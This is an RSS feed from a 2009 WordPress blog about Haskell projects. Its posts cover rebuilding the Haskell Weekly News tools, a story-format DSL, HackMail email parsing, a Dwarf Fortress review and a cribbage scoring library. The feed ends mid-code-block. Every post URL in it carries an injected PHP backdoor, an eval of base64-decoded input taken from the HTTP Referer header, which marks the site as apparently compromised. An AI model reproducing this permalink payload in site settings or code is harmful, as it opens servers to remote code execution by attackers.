<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>The Lowly Mathematician</title>
	<atom:link href="http://lowlymath.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://lowlymath.net</link>
	<description>The Disparate Notions of the Lowly Mathematician</description>
	<pubDate>Tue, 22 Sep 2009 05:26:35 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>HWN: Tagsoup, Hackmail, and my now persistant headache.</title>
		<link>http://lowlymath.net/2009/09/22/hwn-tagsoup-hackmail-and-my-now-persistant-headache/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2009/09/22/hwn-tagsoup-hackmail-and-my-now-persistant-headache/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 05:26:35 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://lowlymath.net/?p=47</guid>
		<description><![CDATA[So, last time we talked about the parser, and that last paragraph noted that the parser was actually done. I&#8217;ve since cleaned it up, rewrote it in applicative style, (though it still has the two caveats I mentioned), and clocks in at around 40-50 LOC. Not bad for a semi-not-so-simple format. I promised last time [...]]]></description>
			<content:encoded><![CDATA[<p>So, last time we talked about the parser, and that last paragraph noted that the parser was actually done. I&#8217;ve since cleaned it up, rewrote it in applicative style, (though it still has the two caveats I mentioned), and clocks in at around 40-50 LOC. Not bad for a semi-not-so-simple format. I promised last time we&#8217;d try to talk about the parser proper, but I started working on the GMane aggregator and simply _had_ to talk about tagsoup and the utter insanity of parsing unstructured HTML.</p>
<p>It&#8217;s such a god-forsaken mess, I&#8217;ve decided to forego even trying to write GMane and go with an option I had aimed to implement in a far later version, using a email account and HackMail to manage the thing. </p>
<p>Now, it&#8217;s not TagSoup&#8217;s fault that parsing unstructured HTML is so hard, in fact, it&#8217;s mostly HTML&#8217;s fault. The format is annoying (angle brackets, divs and spans, all sorts of ugliness) which makes the format hard to read, especially when it&#8217;s unstructured and thus poorly indented. By and large, you can&#8217;t count on TagSoup to be consistent, because it&#8217;s input may-as-well-be line noise. I really like the false hope that TagSoup gave me, but good god, it&#8217;s so horrible.</p>
<p>Now, I told you my plan is to use HackMail, well, there&#8217;s a caveat here too. I left that project in a state wherein the parser wasn&#8217;t parsing anything, since I was trying to migrate to the hsemail package. However, this package is fully RFC compliant, but RFC compliance means that trying to parse emails from the file system (which is roughly how HackMail works. One uses getmail to pipe email into HackMail which dumps email into a file system/maildir/mbox/whatever) doesn&#8217;t really work. Because the RFC says that an EOL is &quot;\r\n&quot; (for instance) but *nix systems store files with just a &quot;\n&quot;, Mac stores them differently, etc. Also, certain nonstandard, common practices have popped up in email, namely quoting names in from fields. Eg &quot;From: Fredette, Joe &lt;jfredett@domain.tag&gt;&quot; is sometimes written as &#8216;From: &quot;Fredette, Joe&quot; &lt;jfredett@domain.org&gt;&#8217;. All these things can be dealt with easily, but require some extensive modification to the parser. Since parsers have been what I&#8217;ve been doing lately, I think that I&#8217;m going to dive in and do a RFC-semi compliant `hsemail-nonstandard` package (name may be changed later) which will be used with HackMail to solve these issues. </p>
<p>The benefit of using HackMail for all of this is that, using HackMail as a library, we could simply download the actual mail messages directly, use HackMail&#8217;s built-in filtering mechanisms to sort out and even format many of the various emails automatically. Since we&#8217;re parsing Emails, which is a much more sane (though not much more) format then HTML, we should be able to parse this stuff with minimal difficulty. </p>
<p>For reference, HackMail provides a Filter monad, in which you are given several simple combinators which you then use to build up filtering systems to sort email, ideally in a simple, flat file system. Why a file system? Because why reinvent the wheel? A file system is an excellent way to store large amounts of data &#8212; <em>that&#8217;s what they&#8217;re designed for!</em> Most people who really sort their email tend to sort it into a mail-client&#8217;s internal pseudo file system anyway, the only real downside is that it becomes somewhat more difficult to search in the usual way through one&#8217;s emails. However, this problem is not only mitigated by the fact that you can filter email in various <em>very</em> powerful ways (you have the entirety of Haskell to help you with that), but also a simple rethinking of how you search for email actually reveals this method of storing email to be <em>better</em> for searching, since you can now easily parallelize any search algorithm to simple run over each of the read-only files in the file-system at the same time.</p>
<p>HackMail does have some support (in the form of an extensible type class for specifying storage formats) for more than just the flat file-system approach, but these are not recommended, especially in light of HackMail&#8217;s once and future cousin, Mailhack. Mailhack is (whenever I get to it) going to be the Mail client/sendmail bundle to HackMail&#8217;s getmail[1]/procmail replacement. More about that another day.</p>
<p>In any case, all that said, I hope to get the HackMail part of HWN2 working in short order. ATM HackMail also uses Hint for dynamic recompilation of it&#8217;s config file. I&#8217;m thinking I might need to rework that as well, fortunately there is &quot;Dyre&quot;, which looks to be like an actual framework for what I want to do. Mostly I need to clean out the bit-rot I&#8217;ve let grow in the old project. I&#8217;ve neglected her too long.</p></p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2009/09/22/hwn-tagsoup-hackmail-and-my-now-persistant-headache/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HWN: A Simple, Extensible format for stories.</title>
		<link>http://lowlymath.net/2009/09/16/hwn-a-simple-extensible-format-for-stories/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2009/09/16/hwn-a-simple-extensible-format-for-stories/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 15:28:24 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://lowlymath.net/?p=46</guid>
		<description><![CDATA[When I start to design a DSL for storing data, like most people, I look for the least unit of information that &#34;means&#34; something. In the case of HWN, that means a &#34;Story&#34;. In this post, I will share my notes on the DSL that will be used to store stories for the HWN. Be [...]]]></description>
			<content:encoded><![CDATA[<p>When I start to design a DSL for storing data, like most people, I look for the least unit of information that &quot;means&quot; something. In the case of HWN, that means a &quot;Story&quot;. In this post, I will share my notes on the DSL that will be used to store stories for the HWN. Be warned, I&#8217;ve not edited this too much for popular consumption, so it may reference something as being the case without ever really mentioning it to be the case. Just bear with it, I&#8217;m pretty sure it all makes sense. <img src='http://lowlymath.net/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>A &quot;Story&quot; is defined as a Tag, a Title, some header information informed by the tag, (things like url of the story location, author&#8217;s name, etc), and a summary in some format (format being stored as another header tag). To wit:</p>
<pre>
<code>Tag: Title {
    $url = http://www.wherever.com/
    $author = Joe Schmoe
    $format = markdown

    Lorem Ipsum Summarium ovus Textus ...
}
</code>
</pre>
<p>or, a more practical example:</p>
<pre>
<code>Blog: HWN: A Simple, Extensible format for stories {
    $url = http://www.lowlymath.net/?p=46
    $author = Joe Fredette
    $blog_title = The Lowly Mathematician
    $format = markdown

    {$author} of {$blog_title} {$url wrote} about the format of his new DSL for HWN.
    It was a _great_ post.
}
</code>
</pre>
<p>In the first example, we have an arbitrary story followed by some summarizing text. In the second (more interesting) example, we  have the same setup, but also some extra formatting options piled on top of markdown in the summary. Namely the <code>{$hdr: as-text}</code> where <code>$hdr</code> is placed unless <code>as-text</code> is given. So, for instance, in the <code>{$author}</code> case, <code>&quot;Joe Fredette&quot;</code> is actually placed. However, in the <code>{$url: wrote}</code> case, a link to whatever the text of <code>$url</code> is is placed. So <code>{$author: foo}</code> would create a link to <code>&quot;Joe Fredette&quot;</code> (which is obviously invalid). This allows for a very simple transformation before parsing the summary as markdown or whatever <code>$format</code> is. The benefit of this format is multifold. For one, it&#8217;s easy to add new stories to a .hwn file, it boils down to just adding another atomic unit to the list. Similarly, it&#8217;s easy to add new headers to any given story, since each should only use certain headers and ignore the others. So, for instance, during the formatting phase, when each story is turned into, say, a `wiki` format, each tag will require certain headers, but it will ignore the others. The phase before that will replace all of the {}&#8217;s in the summary with the appropriate html/whatever so that there is no need to keep the unused headers around. All told, the parsing-&gt;printing process looks like:</p>
<ol>
<li>read file, parse</li>
<li>transform summary {}-tags (brace-tags) to internal representation as part of the summary.</li>
<li>parse summary format, so that summary is an internal representation (possibly pandoc-related stuff for both steps 2 and 3).</li>
<li>determine output format, pretty print to this format.</li>
</ol>
<p>That roughly covers it. It&#8217;s a little bit complicated, since we&#8217;re allowing for some complexity within the summary, but the overall format is simple, which is another nice selling point. Furthermore, it&#8217;s pretty easy to write, since indentation won&#8217;t matter, the only important whitespace is EOLs after the header and the double EOL between the headers and the summary.</p>
<p>So, to recap, we have the following nice features for the DSL:</p>
<ul>
<li>Easy to extend to add new tags</li>
<li>Easy to extend to add new headers in existing/new tags. They will show up as <code>X_headers &quot;header_name&quot; &quot;field&quot;</code> until the parser is appropriately extended.</li>
<li>Easy to add new stories to the issue, just append to the file.</li>
<li>(Relatively) easy to parse.</li>
<li>Fault tolerant (adding a header that isn&#8217;t used in the summary or in the formatting of a story doesn&#8217;t break things. Adding a story tag that isn&#8217;t recognized simply doesn&#8217;t render that story, could throw an warning/error if desired).</li>
<li>Composable, two .hwn files cat&#8217;d together are still a valid hwn file.</li>
</ul>
<p>The downsides are:</p>
<ul>
<li>You actually have to write a parser for it, it&#8217;s not something you can just tweak a little and get a haskell datatype.</li>
<li>You can&#8217;t add multiple stories at once (that is, it&#8217;s not threadsafe, since we&#8217;re appending information to the file. This could be addressed in the future, but it shouldn&#8217;t be a big problem for now since only one person will be adding to the file at a time).</li>
</ul>
<p>There are likely to be more points where this methodology fails or is not optimal, but I think this is a good start. Next time I&#8217;ll talk about some TH code I use to generate headers and some parsing stuff for them, hopefully the parser will be done (or mostly done). Also, I&#8217;ve set up a <a href="http://patch-tag.com/r/HWN2/snapshot/current/content/pretty">repo on patch-tag</a> for this stuff, so feel free to poke around, send patches if you like. etc, if there is a lot of interest, I&#8217;ll try to set up a Trac somewhere.</p>
<p>Currently, the parser is done with two caveats:</p>
<ol>
<li>You can&#8217;t end a summary with a substitution, it causes an error due to the double &quot;}&quot;.</li>
<li>You can&#8217;t do the {$foo} substitution just yet. </li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2009/09/16/hwn-a-simple-extensible-format-for-stories/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HWN, we can rebuild it. We have the technology.</title>
		<link>http://lowlymath.net/2009/09/15/hwn-we-can-rebuild-it-we-have-the-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2009/09/15/hwn-we-can-rebuild-it-we-have-the-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 05:41:51 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://lowlymath.net/?p=45</guid>
		<description><![CDATA[So, as many of you may know, I recently took over as the editor of the Haskell Weekly News. The HWN is a pretty popular newsletter in the Haskell community, it aggregates posts from Planet Haskell and the myriad mailing lists associated with mainstream Haskell stuff. One of the benefits (and burdens, in many cases) [...]]]></description>
			<content:encoded><![CDATA[<p>So, as many of you may know, I recently took over as the editor of the Haskell Weekly News. The HWN is a pretty popular newsletter in the Haskell community, it aggregates posts from <a href="http://planet.haskell.org">Planet Haskell</a> and the myriad mailing lists associated with mainstream Haskell stuff. One of the benefits (and burdens, in many cases) of the job is the editing of all this data. With so much content floating around, we are left with a situation in which we not only have to organize and present data in a meaningful, clean, precise way, but also present enough data so as not to be boring or irrelevant, but also not aggregate too much so as to make mountains of data which no one really cares about.</p>
<p>This newsman gig is a tricky business.</p>
<p>Luckily, as I mentioned, there are tools for this sort of thing. Now- I don&#8217;t begrudge my tools, they are reliable &#8212; if quirky &#8212; and they get things done. However, they are also fickle little beasts, they bleat at the slightest hint of misuse. They are on the older side, the oldest being `publish.hs` which I&#8217;m fairly sure was created along with the HWN proper. Later tools such as the gmane and planethaskell scripts, as well as the quote scripts were all written later. Much work has obviously gone into these tools and I don&#8217;t begrudge the authors any of the credit, but it&#8217;s time for a change.</p>
<p>Among the issues with the tools is it&#8217;s dependence on Haskell for syntax. &quot;What?&quot; you shout, &quot;but Joe, I thought you loved the EDSLs. Said they were the greatest thing since Monadic IO.&quot; The short answer is I do, but this EDSL is not so great. The long answer is that I think this particular task is better suited to it&#8217;s own DSL. To this end, I&#8217;ve come up with the following things I want to fix.</p>
<p>Firstly, the current system is a mess of individual files, which must be merged (by hand) into a single file. What would be lovely is to create a file to which we simply append too to add content, rather then having to generate new files each time I want to add more content.</p>
<p>Next, the current &quot;main&quot; file, `content.wiki`, is more or less a series of constructors for a Haskell Record. It stores stories as elements of a list written as a simple Haskell datatype. While this has the benefit of being easy to parts (it&#8217;s just a couple of substitutions with regexes), it does have the downside of being poorly extensible, touchy, and generally hard to use with large amounts of data. </p>
<p>Finally, the current method of selecting stories has the same problem, it&#8217;s simple, and it works. The problem is we&#8217;re at a local optima with all of these things, the former editors didn&#8217;t have time to really work on this stuff, which is understandable, they have jobs. Jobs are more important than community newsletters. However, I do not have a job, I go to school. Therefore, I have time (other people call it &quot;Class time&quot; I&#8217;m still not sure why&#8230; and there always seems to be someone talking, very distracting when you&#8217;re trying to write code or do math) to make this stuff awesome. </p>
<p>For the first iteration, my goal is to get a parser running and port the current tools: `gmane`, `planethaskell`, and `quotes` to dump to that format. After that, I intend to either rewrite the `publish` script to effectively be a prettyprinter for the AST of my DSL (I love TLAs), or to just write a conversion function from my AST to the current record type. It all kind of depends on whether I really want to get v1.1.0 out or what. The rough plan is as follows (this is right out of my notes).</p>
<ul>
<li>For v1.1</li>
</ul>
<p>It should work, be able to do everything the current tools can do, but use the new `.hwn` format.</p>
<p>It should be Cabalized, Haddockized, and have some basic correctness testing in place (samples for the parser, etc.)</p>
<ul>
<li>For v1.3</li>
</ul>
<p>New versions of the `gmane`, `planethaskell`, and `quotes` tools which are built with a cleaner interface, more features, etc. Details TBD</p>
<p>More testing, better documentation (Nice READMEs, HACKING guides, etc.)</p>
<ul>
<li>For v1.5</li>
</ul>
<p>Clean, consistent command line interface. Nothing fancy, just aggregate the interface of all the tools into one, more general ncurses-esque tool. </p>
<p>Generalize the `gmane`, `planethaskell` tools to work with any gmane list, and any RSS (Atom and others will come later) feed (in the hopes of eventually making this a generally useful tool, rather than a haskell-specific one).</p>
<ul>
<li>For v1.7</li>
</ul>
<p>An ability to specify new output formats/layouts/etc, effectively some kind of stylesheet.</p>
<p>An ability to specify different formats for the summary fields in a given tag.</p>
<ul>
<li>For v1.9</li>
</ul>
<p>Uses Hackmail (if I ever finish it) as a mailinglist aggregator, so that any ML (not just those indexed by gmane) can be used, assuming a email account can be furnished. This will take over for the `gmane` part of the project.</p>
<p>Can deal with RSS, Atom, similar feeds in the aggregator portion (formerly the `planethaskell` part of the project).</p>
<ul>
<li>For v2.0</li>
</ul>
<p>Good documentation, good test coverage, and final touches to the CLI. Then let the public at it.</p>
<ul>
<li>For post v2.0</li>
</ul>
<p>A GUI</p>
<p>The ability to aggregate reddit (which technically comes for free with the RSS/Atom stuff, but perhaps) using the proper API to allow in-HWN voting, etc.</p>
<p>More automation. Announces should be part of the HWN by default, and only culled in the event of an error. (This is because I&#8217;ve never seen a package announcement <em>not</em> included in the HWN). Particularly lively discussions could be tagged somehow (eg, if a thread goes past &lt;threshold&gt; replies, stick it in the &quot;Discussion&quot; section.) etc.</p>
</p>
<p>Some of this stuff won&#8217;t make any sense, but as I continue to write about the progress and future plans of the HWN software and newsletter proper, it will start to make more sense. Next post will have some stuff about the DSL format I&#8217;m using, why I think it will work better, why it looks the way it does, etc. Hopefully you&#8217;ve all had fun listening to me ramble. Stay tuned, it&#8217;s going to be a fun time.</p></p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2009/09/15/hwn-we-can-rebuild-it-we-have-the-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dwarf Fortress: A Review</title>
		<link>http://lowlymath.net/2009/08/11/dwarf-fortress-a-review/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2009/08/11/dwarf-fortress-a-review/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 06:59:10 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<category><![CDATA[Code]]></category>

		<category><![CDATA[FP]]></category>

		<category><![CDATA[Functional]]></category>

		<category><![CDATA[Haskell]]></category>

		<category><![CDATA[Imperative]]></category>

		<category><![CDATA[Random]]></category>

		<guid isPermaLink="false">http://lowlymath.net/2009/dwarf-fortress-a-review/</guid>
		<description><![CDATA[I&#8217;ve been playing Dwarf Fortress, lately, it&#8217;s a very odd game. You can find it here. Or, if you prefer (as I do), the wiki. It&#8217;s a bit roguelike, a bit dungeonkeepery, a bit of everything &#8212; and quite immersive. Read on for my review and critique.

Dwarf Fort (DF) is, first and foremost, a sandbox. [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been playing Dwarf Fortress, lately, it&#8217;s a very odd game. You can find it <a title="here" href="http://www.bay12games.com/dwarves/">here</a>. Or, if you prefer (as I do), the <a title="wiki" href="http://www.dwarffortresswiki.net/index.php/Main_Page">wiki</a>. It&#8217;s a bit roguelike, a bit dungeonkeepery, a bit of everything &#8212; and <em>quite</em> immersive. Read on for my review and critique.</p>
<p><span id="more-44"></span>
<p>Dwarf Fort (DF) is, first and foremost, a sandbox. In DF, you can dig into a mountain, build a massive tower, fight epic battles, slaughter your enemy or yourself, build a computer &#8212; anything you like. The game is not difficult in concept, your only goal is to survive. There is no way to &#8220;win&#8221; &#8212; you simply play till you die or get bored. It&#8217;s also not particularly difficult to defend onself, Walls are impenetrable, Moats (which aren&#8217;t filled) are uncrossable. However, the dangers are not solely located outside your fortress. Cave ins, Psycotic Dwarves, Bottomless Pits and Magma Monsters are few among the myriad monsters and maladys which will accost you in DF. I&#8217;ve lost countless forts to dwarves driven insane due to lack of a particular metal ore. In DF, the saying &#8220;For want of nail&#8221; becomes quite literal. One of the most interesting things about DF is it&#8217;s realism, the dev really does think of everything. When an object/dwarf is standing on a drawbridge as it raises, that object is flung at highspeed toward whatever is in the direction it raises, often with &#8212; dismembering &#8212; results. Water flows, Magma flows &#8212; and melts stuff. It&#8217;s all very interesting, and I highly reccomend trying it, but I do have some gripes</p>
<p>So, DF is a Roguelike &#8212; in the sense that it uses ASCII-esque (actually IBM Code 437) characters for graphics. This is great, except that ASCII-style graphics are kind of hard to interpret if you&#8217;re not already good at the game and understand the various symbols. The issues with this are obvious &#8212; it sharpens the learning curve to nearly an asymptote. While there are some partial solutions, the tilesets can be edited to an extent, there is a fundamental issue, much of the graphics system is too tightly coupled with the rest of the game. From what I understand (based largely on interviews and the DF forums, since the game is closed source, I can&#8217;t examine the problem myself) the graphics routines are bound in alot of ways to the representation of the board in memory. Part of this might have to do with the idioms of C, the implementation language, but I think also it follows from the fact that Toady (the alias of Tarn Adams, the creator of DF) is firstly a mathematician (not to say that mathematicians can&#8217;t program) and secondly a programmer. I think that his abilities to plan are fantastic, but he has the old-school mindset about programming. He does not think in terms of frameworks and abstracts, but rather in terms of features and the fine grained details. It&#8217;s not an indictment, I promise. I think Toady&#8217;s done a fantastic job. I just wish he started by thinking about the larger frameworks &#8212; designing a whole system for each step, a system for players and skills, a system for terrain, etc. It&#8217;s easy to see how DF came together piecemeal, menus sometimes have inconsistent naming schemes. For instance, building a statue at a Mason&#8217;s shop requires you to press [a-u] for &#8220;add a task&#8221; and then &#8220;Construct Statue [u]&#8220;; however, placing that statue somewhere requires you to press [b-s], for &#8220;build&#8221; and then &#8220;Build Statue.&#8221; This is largely an issue of namespace pollution. Rather than having the build menu point to submenus (although it does this sometimes, as with the &#8220;Construction&#8221; menu), it remains inconsistent. Principally, this reveals the likelyhood that menus and the options contained therein are hardcoded elements of the system, rather than existing in some extensible, refactorable framework. Ideally, one should decouple interface from action, this is OOP 101, In haskelly terms, we want a situation in which we have a Map from IO action (pressing a key) to &#8220;Game&#8221; Action (which may similarly be an IO action) &#8212; the map may be recursive, the key may return a game action which prompts for another key, etc, but the point is simple, decoupling interface from action is what we want. Furthermore, such a decoupling allows for hosts of configuration possibilities, menus could be defined in files &#8212; XML or otherwise, allowing the user to configure their _own_ menu structures. One more possible decoupling strategy is to have the interface to the game be a (E)DSL &#8212; allowing for programmatic interfacing to the game. One could then design a series of simple combinators and combination strategies, and build the interface up from the bottom. This would allow for things like Quickfort (a utility for quickly setting up building designs in DF) to be self-contained <em>within the game itself,</em> rather than, as QF currently does, relying on external tools (like Autohotkey). It also allows for some interesting in-game opportunities. DF, for instance, has a feature which allows for the building of levers/pressure plates and controlling structures with them. Raising bridges, etc. With this programmatic approach, one could simply allow certain objects to be &#8220;programmed&#8221; to do something when a certain input is detected. In DF, this is more limited, one can attach a lever to an object, and toggle said object. There is some ability to build computing instruments, but they&#8217;re limited, and somewhat unreliable[1]. With this programmatic method, one could &#8212; instead of necessarily directly linking a lever &#8212; build a &#8220;computer&#8221; object, and connect lever inputs through the &#8220;computer&#8221; to the ogram &#8212; say one needs more mechanisms, more power, etc to build the computer object, thecontrolled objects. If one were too include some costs associated with the relative complexity of the program, then the system would not only be more flexible and (in my opinion) interesting. As an alternative, which could be easily built into DF even as it is now, would be to implement various logic gates &#8212; or even just a better logic detector than the current pump/plate method. The point is simply that even a <em>little</em> decoupling can go a long way to providing new and interesting ways to interact with the program, as well as likely reducing code complexity.</p>
<p>Another unfortunate thing about DF is that it is a CPU Hog. This is obviously because of the sheer quantity of things it has to do, pathfind for potentially hundreds of dwarves, animals, and enemies; run water and magma according to highly detailed set of physics (seriously, just look up the water system on the DF wiki, it&#8217;s <em>amazing</em> how realistic it manages to be); not to mention rendering and keeping track of potentially tens of thousands of objects. Now, on a modern, high speed system, this is no issue. However, the game does not (currently, or likely ever, due to the difficulty of refactoring code to be multithreaded) take advantage of multiple cores. So &#8212; to all you lucky bastards with the dual 4-core machines, sucks to be you, you&#8217;ll be stuck at 1/8th of your potential speed. This is largely, as before, a function of the high degree of coupling in the design, as well as the fact that the system is written in C. In a language like Haskell, refactoring code to be parallel/multicore friendly &#8212; while not trivial &#8212; is at least easier than in C. Largely, having a decoupled system, where each actor is composed of many individual, independent subsystems, each of which can run in parallel without consequences &#8212; that is, each subsystem has no shared state with any other &#8212; then we have a system which will run much more smoothly on multicore systems. Again, the main point returns, I probably sound like a broken record, but the secret to making a game like this efficient and easy to extend is decoupling!</p>
<p>Now, despite my gripes, you should <em>totally</em> play this game, it&#8217;s fantastic, immersive, and losing is <em>fun.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2009/08/11/dwarf-fortress-a-review/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Card games, scorekeeping, and &#8230; Associated Datatypes?</title>
		<link>http://lowlymath.net/2009/04/07/card-games-scorekeeping-and-associated-datatypes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2009/04/07/card-games-scorekeeping-and-associated-datatypes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 02:34:37 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<category><![CDATA[FP]]></category>

		<category><![CDATA[Functional]]></category>

		<category><![CDATA[Haskell]]></category>

		<category><![CDATA[Polymorphism]]></category>

		<category><![CDATA[Type Classes]]></category>

		<category><![CDATA[Type Theory]]></category>

		<guid isPermaLink="false">http://lowlymath.net/2009/card-games-scorekeeping-and-associated-datatypes/</guid>
		<description><![CDATA[

&#62; {-# LANGUAGE TypeFamilies, MultiParamTypeClasses #-}
&#62; module Blog where


&#62; import Data.HCard
&#62; import Data.HCard.Instances
&#62; import Data.HCard.Examples

Backstory
Today, I want to talk about card games&#8230; On a recent trip home, I had an opportunity to teach my fiance how to play one of my favorite card games. Cribbage. If you are unaware, cribbage is a game in which [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-43"></span>
<pre>
<font color="cyan">&gt;</font> <font color="blue">{-# LANGUAGE TypeFamilies, MultiParamTypeClasses #-}</font>
<font color="cyan">&gt;</font> <font color="green"><u>module</u></font> Blog <font color="green"><u>where</u></font>
</pre>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>import</u></font> Data<font color="cyan">.</font>HCard
<font color="cyan">&gt;</font> <font color="green"><u>import</u></font> Data<font color="cyan">.</font>HCard<font color="cyan">.</font>Instances
<font color="cyan">&gt;</font> <font color="green"><u>import</u></font> Data<font color="cyan">.</font>HCard<font color="cyan">.</font>Examples
</pre>
<h2>Backstory</h2>
<p>Today, I want to talk about card games&#8230; On a recent trip home, I had an opportunity to teach my fiance how to play one of my <em>favorite</em> card games. Cribbage. If you are unaware, cribbage is a game in which each player (or team, as the case may be) attempts to score the most points during several rounds. The goal is to be the first team to 121 points. The scoring system and play are somewhat complex, so I’ll just direct you to the wikipedia entry [1] for cribbage, but suffice to say that the game is quite fun. I’ll assume that the reader understands the scoring rules for cribbage for the rest of this post.</p>
<p>While we were playing, we came across several hands which were very difficult to count. For instance, consider the hand:</p>
<pre>
<code>A-H 2-H 3-H 4-H (5-H)
</code>
</pre>
<p>where <code>&lt;index&gt;-&lt;suit&gt;</code> is a card in the hand, and <code>(X-Y)</code> is the cut-card. This hand has the peculiar — and at first unnoticed — property of being worth 12 points. Though it’s not necessarily apparent. The obvious run and flush give 10 points easily, but the sum of all the cards is fifteen, something that is not readily seen, since there are so many cards involved in the sum. This and other odd hands led me to realize that it was probably best for me — especially since we play at night, when my brain is not at its finest — to leave the tedious task of counting these “weird” hands to a computer. The issue was — where to get such a program. Certainly such things exist. But that requires reconnaissance and time, time that I could be spending doing something more interesting.</p>
<p>Like writing my own.</p>
<p>Therefore, I present to you, in only around 200 lines of Haskell, a <em>full library</em> for playing card-like structures, complete with shuffling, dealing, and permutation-irrelevant equality, as <em>well</em> as a cribbage score counter which uses this library for counting cribbage scores…</p>
<p>Oh, by the way, did I mention is uses the very cool new addition to Haskell of Associated Types?</p>
<p>I heard that muttered “Holy crap, this is going to be scary, associated types must be complicated. Right? I mean — they replace fundeps, right? Fundeps were <em>weird</em> these must be <em>weirder</em>!”</p>
<p>It’s okay, I promise, Associated Types are friendly beasts, and <em>really</em> useful. Especially for creating what I’ve taken to calling “Indexed Record Types” which allow a kind of higher-level polymorphic record to be had. Allowing me to save you the trouble of having to ever write a playing card shuffling implementation again!</p>
<p>So how do we do it? Let’s start with some background.</p>
<h2>Associated Types and Indexed Records</h2>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>class</u></font> IndexedRecord a b <font color="green"><u>where</u></font>
<font color="cyan">&gt;</font>       <font color="green"><u>data</u></font> IRec a b
<font color="cyan">&gt;</font>       get_a <font color="red">::</font> IRec a b <font color="red">-&gt;</font> a
<font color="cyan">&gt;</font>       get_b <font color="red">::</font> IRec a b <font color="red">-&gt;</font> b
<font color="cyan">&gt;</font>       cons  <font color="red">::</font> a <font color="red">-&gt;</font> b <font color="red">-&gt;</font> IRec a b
<font color="cyan">&gt;</font>
</pre>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>instance</u></font> IndexedRecord Int Int <font color="green"><u>where</u></font>
<font color="cyan">&gt;</font>       <font color="green"><u>data</u></font> IRec Int Int <font color="red">=</font> IRec Int Int
<font color="cyan">&gt;</font>       get_a <font color="cyan">(</font>IRec i <font color="green"><u>_</u></font> <font color="cyan">)</font> <font color="red">=</font> i
<font color="cyan">&gt;</font>       get_b <font color="cyan">(</font>IRec <font color="green"><u>_</u></font> i <font color="cyan">)</font> <font color="red">=</font> i
<font color="cyan">&gt;</font>       cons a b <font color="red">=</font> IRec a b
</pre>
<p>This is a <em>very</em> contrived example to show you the fundamental idea behind the “Indexed Record.” Basically, we have this type, Rec, which will only ever contain three of <em>some</em> type, but it all we need to really know about it the accessors and constructors to do interesting things to things which “look like” this type. In a sense, this is the same kind of thing we do with functions which are polymorphic — we may start with a type which has “actual” types, but our instincts should aim us to make that type <em>polymorphic</em>, via type variables. Associated types (like fundeps) allow us this facility, but with the added benefit of being much clearer. Now, instead of stating that the <code>a</code> type uniquely determines the <code>b</code> type, or what have you, we simply <em>construct a type</em> based on arbitrary type values, and we can then <em>use</em> that type, like any old type. Whats more, we aren’t limited to types of kind <code>*</code>, we can make, in fact, types with kinds like <code>* -&gt; *</code> or etc. Consider:</p>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>class</u></font> IndexedRecord' a <font color="green"><u>where</u></font>
<font color="cyan">&gt;</font>       <font color="green"><u>data</u></font> IRec' a <font color="red">::</font> <font color="cyan">*</font> <font color="red">-&gt;</font> <font color="cyan">*</font> <font color="red">-&gt;</font> <font color="cyan">*</font> <font color="blue">-- will this work?</font>
